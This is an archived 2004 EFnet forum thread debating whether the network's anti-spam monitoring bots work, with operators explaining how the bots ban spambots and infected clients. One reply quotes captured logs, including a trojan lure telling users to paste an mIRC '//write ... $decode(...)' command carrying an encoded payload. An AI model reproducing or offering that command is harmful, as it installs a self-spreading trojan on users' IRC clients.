are efnet's spybots effective?

General talk about EFnet

Moderators: Website/Forum Admins, EFnet/General Moderators

are efnet's spybots effective?

yes
13
72%
no
5
28%
 
Total votes: 18
kitchen
Posts: 6
Joined: Wed Apr 14, 2004 5:01 pm
Location: chicago

are efnet's spybots effective?

Postby kitchen » Wed Apr 14, 2004 5:07 pm

basically, mark yes here if you've ever seen one of those annoying piles of shit actually catch anything, and no, if like me, you haven't.
Hardy
Site Admin
Posts: 394
Joined: Wed Jul 02, 2003 4:54 pm
Location: Oslo, Norway
Contact:

Re: are efnet's spybots effective?

Postby Hardy » Wed Apr 14, 2004 8:15 pm

kitchen wrote:basically, mark yes here if you've ever seen one of those annoying piles of shit actually catch anything, and no, if like me, you haven't.
Oh please..

I cant explain how they work or exactly what they do, but i can verify that "whatever that is and do" works and it reduces the spammers very effective.
-- Hardy
Administrator: irc.underworld.no
Services Administrator
http://www.efnet.org admin/staff
Hwy
Posts: 66
Joined: Wed Jul 16, 2003 12:27 pm

Postby Hwy » Wed Apr 14, 2004 8:22 pm

As a former oper, I can verify that yes, they do work, very well.

PS. I guarantee you will get FAR better results if you are polite when you ask, rather than using profane language and an insulting tone.
User avatar
corrupt
Site Admin
Posts: 81
Joined: Wed Jul 02, 2003 1:08 pm
Location: Danville, KY
Contact:

Postby corrupt » Wed Apr 14, 2004 9:39 pm

Yes, these "bots" are very effective. Without them, the amounts of spam on EFNet would be even more. They are not hurting your channel joining and parting. By the way, "spybots" is hardly the correct term/name for these "bots." In the future, please do not refer to them as that :)
Josh Baird
[corrupt]@EFNet
O: irc.choopa.net
prefect
Posts: 76
Joined: Mon Jul 14, 2003 6:25 pm
Location: Oslo

Postby prefect » Thu Apr 15, 2004 1:33 pm

where's the stfu-option on that poll?
User avatar
Pills
Forum Admin
Posts: 312
Joined: Wed Jul 02, 2003 1:14 pm
Location: Long Island, NY
Contact:

Postby Pills » Thu Apr 15, 2004 2:32 pm

What are you talking about, spam? They're just there to log all of kitchen's illegal activities so the feds can bust down his door!

Oh, wait, did I post that publically?

Prefect: Don't tempt me to mod the poll. ;)
admin, irc.umich.edu
oper, irc.servercentral.net
User avatar
munky
Site Admin
Posts: 826
Joined: Wed Jul 02, 2003 4:54 pm
Location: Phoenix AZ
Contact:

Postby munky » Thu Apr 15, 2004 3:06 pm

with over 200 spambots and trojan infected clients banned per day, i think it's safe to say yes, they are effective

and to be a spybot, they would actually have to spy something. these bots care nothing about who is on your channel or what text is said in the channel. it's up to channel operators to determine if what is said in their channel is to be considered spam.
In God we trust,
Everyone else must have an X.509 certificate.
User avatar
Osc
Posts: 75
Joined: Mon Aug 11, 2003 8:08 pm
Location: Atlanta, GA

Postby Osc » Thu Apr 15, 2004 4:48 pm

You have asked me, more than once, about this, and, every time, I tell you:

they are not spybots
they work
don't worry about them

And, every time, I ask you:

how are they annoying you?
why do you think they are not getting rid of spam/trojans/etc?
why do you think we would *spy* on *you* with a *bot* ?

And, every time, you say:

um, because
um, because
um, because

Now, just two (very redacted) examples...

[11:43:05:-0400*15/Apr/04] <redacted> irc.nac.net: redacted (~redacted@redacted) [channel #redacted - score redacted - via redacted]: (1049498) hey redacted, xxx videos --->>> http://donotclicktrojanurl.silly.osc.posting.trojans<<<---
[11:43:05:-0400*15/Apr/04] <redacted> Repeat Offender: redacted has spammed 23 times in last 24 hours
[11:43:05:-0400*15/Apr/04] <redacted> /quote gline *@redacted :Spam (23/1049498/39) - see http://www.efnet.nl/kline/spam.php
[11:43:10:-0400*15/Apr/04] <redacted> redacted (~redacted@redacted) is no longer online

5 whole seconds!

[12:14:16:-0400*15/Apr/04] <redacted> irc.dks.ca: redacted (~redacted@redacted) [channel #redacted - score redacted - via redacted]: (1049534) for matrix 2 download, use this command: //write matrix2 $decode(b24gissxompvaw46izpredactedxnlciayicruawnrihwglm1zzyakbmljaybgt1igtuf
uuklyidigre9xtkxpquqsifvtrsbuseltienptu1btkq6azqgly93cml0zsbnyxryaxgyic
qgjcsgzgvjb2rlkcakkyakzw5jb2rlkcryzwfkkcrzy3jpchqsbiwxksxtksakkyasbskgj
gnocigxmjqredactedfkic1ycybnyxryaxgyiredactedavl21vzgugjcakky
[12:14:16:-0400*15/Apr/04] <redacted> /quote kline *@redacted :Trojan infected client (1/1049534/53) - see http://www.efnet.nl/kline/infected/compromised.php
[12:14:46:-0400*15/Apr/04] <redacted> redacted (~redacted@redacted) is no longer online

30 seconds!

Just two of hundreds of examples.

Just because you're paranoid, doesn't mean someone isn't out to get you
http://www.gorskys.com.au/active/paranoia-quiz.php
irc.he.net Notice -- Osc (osc@irc.packetmonkeys.com) is now an operator
<CHANFIX> You're now logged in with the following flags: ADMIN.
<OCF> Authentication successful. Welcome, Osc.

Who is online

Users browsing this forum: Google [Bot] and 5 guests